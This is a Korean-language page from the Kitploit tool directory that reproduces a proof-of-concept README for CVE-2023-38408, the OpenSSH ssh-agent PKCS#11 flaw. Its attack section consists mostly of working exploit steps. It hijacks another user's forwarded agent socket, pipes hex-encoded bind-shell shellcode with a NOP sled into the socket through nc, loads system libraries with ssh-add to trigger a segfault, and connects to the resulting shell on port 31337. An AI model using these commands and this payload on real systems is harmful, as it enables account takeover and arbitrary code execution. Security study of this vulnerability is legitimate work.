Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2023-38408 — OpenSSH 계정 탈취 | Kitploit
도구/GitHubGitHub/lucaspdiniz/cve-2023-38408
Vulnerability AnalysisExploitationPenetration TestingLearning & EducationRemote Access ToolPayload Development
GitHublucaspdiniz/cve-2023-38408

CVE-2023-38408

OpenSSH 계정 탈취

저장소 보기
4562년 전Kitploit 검토 완료

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

OpenSSH 취약점 - CVE-2023-38408 📚

소개

OpenSSH(9.3p2 버전 이전)에서 취약점이 발견되었습니다. OpenSSH의 ssh-agent에 있는 PKCS#11 기능은 검색 경로가 충분히 신뢰할 수 없어, 에이전트가 공격자가 제어하는 시스템으로 포워딩되는 경우 원격 코드 실행이 가능합니다(/usr/lib의 코드가 ssh-agent에 로드되기에 반드시 안전하지는 않음). 이 결함으로 인해 서버에서 포워딩된 에이전트 소켓을 제어하고 클라이언트 호스트의 파일 시스템에 쓰기 권한이 있는 공격자가 ssh-agent를 실행하는 사용자의 권한으로 임의 코드를 실행할 수 있습니다.

아래 예시에서는 alice 사용자를 탐색하여 손상시키는 단계를 간략히 관찰할 수 있습니다.

  • 1단계 - 공격 사용자가 SSH를 통해 서버에 연결합니다.
  • 2단계 - 사용자 Alice도 서버에 ssh로 연결되어 있습니다.
  • 3단계 - 공격자는 SSH 프로세스를 통해 대상 서버로 보낼 셸코드를 생성합니다.
  • 4단계 - 공격자가 보낸 셸코드가 ssh-agent의 PKCS#11 취약점을 악용하여 새 프로세스를 생성하고 사용자 Alice의 SSH 액세스를 가로채게 됩니다.
  • 5단계 - 여전히 공격자의 정상 접속을 통해 사용자 Alice의 권한으로 운영 명령을 실행할 수 있으며, nc localhost 31337을 통해 셸코드에서 생성된 익스플로잇에 접근합니다.

어떻게 만들까? POC를 만들어 보자

앞서 언급했듯이, 이 POC에서는 SSH를 통해 서버에 연결된 2명의 사용자를 사용합니다. 아래 단계를 따라가려면 두 사용자가 이미 서버(SSH)에 접근 권한이 있다고 가정합니다.

  1. 원격 공격자 머신에서 실행 중인 SSH 에이전트의 PID를 가져와 환경 변수로 내보냅니다. 또한 ssh-add를 통해 linuxx64.elf.stub(UEFI 부트 스텁) 파일을 추가했습니다.
root@kitploit:~
echo /tmp/ssh-*/agent.*
export SSH_AUTH_SOCK=/tmp/ssh-NqLP6il36s/agent.3452
ssh-add -s /usr/lib/systemd/boot/efi/linuxx64.elf.stub

  1. 이제 SSH를 사용하여 프로세스에 셸코드를 복사하려면 공격자 머신에서 다음 단계를 따라야 합니다.
root@kitploit:~
SHELLCODE=$'\x48\x31\xc0\x48\x31\xff\x48\x31\xf6\x48\x31\xd2\x4d\x31\xc0\x6a\x02\x5f\x6a\x01\x5e\x6a\x06\x5a\x6a\x29\x58\x0f\x05\x49\x89\xc0\x4d\x31\xd2\x41\x52\x41\x52\xc6\x04\x24\x02\x66\xc7\x44\x24\x02\x7a\x69\x48\x89\xe6\x41\x50\x5f\x6a\x10\x5a\x6a\x31\x58\x0f\x05\x41\x50\x5f\x6a\x01\x5e\x6a\x32\x58\x0f\x05\x48\x89\xe6\x48\x31\xc9\xb1\x10\x51\x48\x89\xe2\x41\x50\x5f\x6a\x2b\x58\x0f\x05\x59\x4d\x31\xc9\x49\x89\xc1\x4c\x89\xcf\x48\x31\xf6\x6a\x03\x5e\x48\xff\xce\x6a\x21\x58\x0f\x05\x75\xf6\x48\x31\xff\x57\x57\x5e\x5a\x48\xbf\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xef\x08\x57\x54\x5f\x6a\x3b\x58\x0f\x05'
(perl -e 'print "\0\0\x27\xbf\x14\0\0\0\x10/usr/lib/modules\0\0\x27\xa6" . "\x90" x 10000'; echo -n "$SHELLCODE") | nc -U "$SSH_AUTH_SOCK"

마지막으로, 셸코드가 에이전트 메모리에 성공적으로 배치되면 Ctrl-C를 눌러 netcat 전송을 중지합니다.

  1. 이 단계에서는 ssh-add를 통해 3개의 파일을 업로드합니다. libttcn3-rt2-dynamic.so, libKF5SonnetUi.so.5.92.0, libns3.35-wave.so.0.0.0. 익스플로잇 과정의 다음 단계는 세그멘테이션 폴트(SIGSEGV) 신호에 대한 시그널 핸들러를 등록하는 것입니다.

[!NOTE] SIGSEGV 트리거 💬
SIGSEGV는 잘못된 메모리 참조(세그멘테이션 폴트)가 발생할 때 컴퓨터 프로세스에 전달되는 신호입니다. SIGSEGV 신호를 수신하면 커널은 잘못된 메모리 접근이 발생했음을 인식하고 프로그램을 갑자기 종료하는 대신 사용자 정의 시그널 핸들러를 호출합니다. 이렇게 하여 공격자는 프로그램 실행을 조작하고 NOP 슬레드 내에 주입된 악성 코드로 유도할 기회를 잡습니다.

root@kitploit:~
ssh-add -s /usr/lib/titan/libttcn3-rt2-dynamic.so
[Enter for passphrase]
ssh-add -s /usr/lib/x86_64-linux-gnu/libKF5SonnetUi.so.5.92.0
[Enter for passphrase]
ssh-add -s /usr/lib/x86_64-linux-gnu/libns3.35-wave.so.0.0.0
[Enter for passphrase]

  1. 이 시점에서 공격자가 서버에 ssh로 접근하여 사용자 Alice를 익스플로잇하는 데 성공했으며, 셸코드에 의해 생성된 아래 명령을 실행할 수 있습니다. 🔥
root@kitploit:~
nc localhost 31337

CVE-2023-38408이 나에게 영향을 미치나요? ❓

이 취약점은 주로 OpenSSH의 SSH-agent가 사용 중이고 에이전트 포워딩 기능이 활성화된 시스템에 영향을 미칩니다. OpenSSH에 의존하는 조직과 개인은 구성을 신속히 평가하여 잠재적 노출을 확인해야 합니다. 시스템이 언급된 조건을 충족하는 경우, CVE-2023-38408과 관련된 위험을 완화하기 위해 즉시 조치를 취하는 것이 중요합니다.

도구 다운로드